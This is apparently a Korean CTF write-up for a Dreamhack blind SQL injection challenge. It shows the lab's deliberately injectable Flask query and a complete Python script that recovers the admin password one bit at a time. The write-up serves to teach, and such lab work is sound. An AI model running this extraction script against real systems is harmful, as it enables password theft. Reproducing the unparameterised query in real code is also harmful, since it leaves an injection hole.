Write up - WEB

Dream Hack - Webhacking - blind sql injection advanced

기무진현 2023. 4. 30. 11:13

sql injection을 통해서 플래그 값을 얻는 문제이다.

 

문제 파일을 살펴보겠다.

 

CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `user_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;

먼저 sql 파일을 확인해봤다. 

1. utf-8 언어셋 사용, 'users'라는 테이블을 사용함.

2. flag값은 admin의 pw값이다.

 

import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
{% if nrows == 1%}
    <pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''

@app.route('/', methods=['GET'])
def index():
    uid = request.args.get('uid', '')
    nrows = 0

    if uid:
        cur = mysql.connection.cursor()
        nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")

    return render_template_string(template, uid=uid, nrows=nrows)


if __name__ == '__main__':
    app.run(host='0.0.0.0')

python 파일을 확인해보았다.

1. /에 GET을 통해 이용자 입력을 전달 받음.

 

if uid:
        cur = mysql.connection.cursor()
        nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")
    return render_template_string(template, uid=uid, nrows=nrows)

2.  따로 필터링이 존재하지 않은 채 그대로 반환하는 것을 확인할 수 있다.

 

'admin-- 구문을 통해서 uid 뒤에 있는 구문을 주석으로 처리를 시도했다.

 

입력에 의해 에러가 발생했다고 뜬다. sql injection이 적용된다는 것을 알 수 있다.

문제를 보면 utf-8 언어셋을 사용하며 아스키코드와 한글로 패스워드가 이루어져있다는 것을 확인가능.

 

ASCII는 0부터 127 범위의 문자를 표현할 수 있으며, 이는 곧 7 개의 비트를 통해 하나의 문자를 나타낸다.

7 개의 비트에 대해 1인지 비교하면 총 7 번의 쿼리로 임의 데이터의 한 바이트를 알아낼 수 있다. 즉 비트 연산을 통해서 비밀번호의 값을 바이트 단위로 얻어내어 비밀번호를 알아내는 방식으로 문제를 해결해봤다. 

 

from requests import get

password_length = 0

while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    re = get(f"{host}/?uid={query}")
    if "exists" in re.text:
        break
   
print(f"password length: {password_length}")

password = ""

for i in range(1, password_length + 1):
    bit_length = 0
   
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        re = get(f"{host}/?uid={query}")
        if "exists" in re.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
   
    bits = ""

    for j in range(1, bit_length + 1):
        query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
        re = get(f"{host}/?uid={query}")
        if "exists" in re.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {i}'s bits: {bits}")
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

print(password)

파이썬으로 구성된 코드이다. 분석을 해보면 

 

from requests import get

password_length = 0

while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    re = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
   
print(f"password length: {password_length}")

password = ""

requests를 통해서 웹서버에 요청을 보내며, 반복문을 통해서 password를 점점 늘려가면서 이를 검증하여 패스워드의 길이가 admin의 pw와 같으면 반복문을 종료하고 password의 길이를 출력한다.

 

for i in range(1, password_length + 1):
    bit_length = 0
   
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        re = get(f"{host}/?uid={query}")
        if "exists" in re.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
   
    bits = ""

패스워드의 각 자리에 해당하는 문자의 아스키코드 비트열의 길이를 찾아내는 코드이다.

- substr() 함수: 문자열을 특정 위치부터 자르는 함수이며, substr(대상문자열, 시작위치, 길이) 로 구성.

- bin() 함수: 정수를 바이너리 값으로 변환하는 함수이다. 여기에서는 ord()로 변환한 아스키 코드값을 이진수(비트)로 바꾸는 역할을 하고 있다.

 

for j in range(1, bit_length + 1):
        query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
        re = get(f"{host}/?uid={query}")
        if "exists" in re.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {i}'s bits: {bits}")
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

print(password)

패스워드의 각 자리에 해당하는 문자의 아스키코드 비트열을 찾아내는 코드.

이진수 아스키 코드로 변환한 비트열의 j번째 숫자가 1과 같으면 쿼리문 실행 결과 user "입력값" exists. 가 출력될 것이다. 그러면 해당 자리의 비트가 1, 아니면 0을 의미한다. 

즉, 다음 각 문자에 대해 반복하여 이진 표현을 한 번에 한 비트씩 결정하며 decode 함수를 통해서 utf-8로 된 비트값을 디코딩해서 password를 출력한다.

 

실행을 하게 되면 플래그 값을 얻을 수 있다.